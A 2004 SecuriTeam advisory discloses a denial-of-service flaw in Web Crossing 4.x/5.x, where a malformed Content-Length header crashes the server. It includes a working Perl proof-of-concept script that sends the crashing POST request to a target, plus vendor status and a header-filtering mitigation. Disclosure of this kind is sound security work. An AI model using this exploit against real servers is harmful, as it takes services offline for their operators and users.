[NEWS] Web Crossing Denial Of Service

From: SecuriTeam (support_at_securiteam.com)
Date: 02/12/04

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    To: list@securiteam.com
Date: 12 Feb 2004 12:28:35 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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      Web Crossing Denial Of Service
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.webcrossing.com/> Web Crossing is the world's leading
    collaboration server platform, offering complete solutions including
    discussion groups/bulletin boards, integrated newsgroups and mailing
    lists, full email services, calendar services, real-time chats, live
    events and full web application programming features, complete
    cross-platform compatibility, and distributed/mirrored serving for
    ultimate scalability."

    A denial-of-service condition occurs when sending the built-in web server
    a specially crafted HTTP post request.

    DETAILS

    Vulnerable Systems:
     * Web Crossing versions 4.x/5.x

    When performing an HTTP POST request to the Web Crossing built-in
    webserver with a very large 'Content-Length' header or containing a
    negative number, the server will encounter a set of instructions which
    lead to an integer-divide-by-zero problem, immediately crashing the server
    and denying any further service.

    Exploit:
    A proof-of-concept exploit code for the issue is presented here:
    ###############################################
    #!/usr/bin/perl -w
    #
    # Web Crossing 4.x\5.x Denial of Service Exploit
    # [ Bad 'Content-Length' Header Bug ]
    #
    # - by Peter Winter-Smith [peter4020@hotmail.com]

    use IO::Socket;

    if(!($ARGV[0]))
    {
    print "Usage: wxdos.pl < victim>\n";
    exit;
    }

    print "Web Crossing 4.x\\5.x Denial of Service Exploit\n" .
       "\t[ Bad 'Content-Length' Header Bug ]\n" .
       "\t[peter4020\@hotmail.com]\n\n";

    $victim = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$ARGV[0],
                  PeerPort=>"80")
                  or die "Unable to connect to $ARGV[0] on " .
                  "port 80";

    $DoS = "POST / HTTP/1.1\r\n" .
         "Content-Length: -1\r\n\r\n";

    print $victim $DoS;

    print "[+] Evil request made to target server ... Waiting...!\n";

    sleep(4);

    close($victim);

    print "[+] Done!\n";
    exit;
    #############################################

    Vendor Status:
    Although the Web Crossing's support staff was contacted, when the issue
    reached the development team all communications with the vendor ceased.
    There is no vendor supplied patch or new version and the only viable
    solution if possible is to filter out the offending header.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:peter4020@hotmail.com> Peter
    Winter-Smith.

    ========================================

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    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

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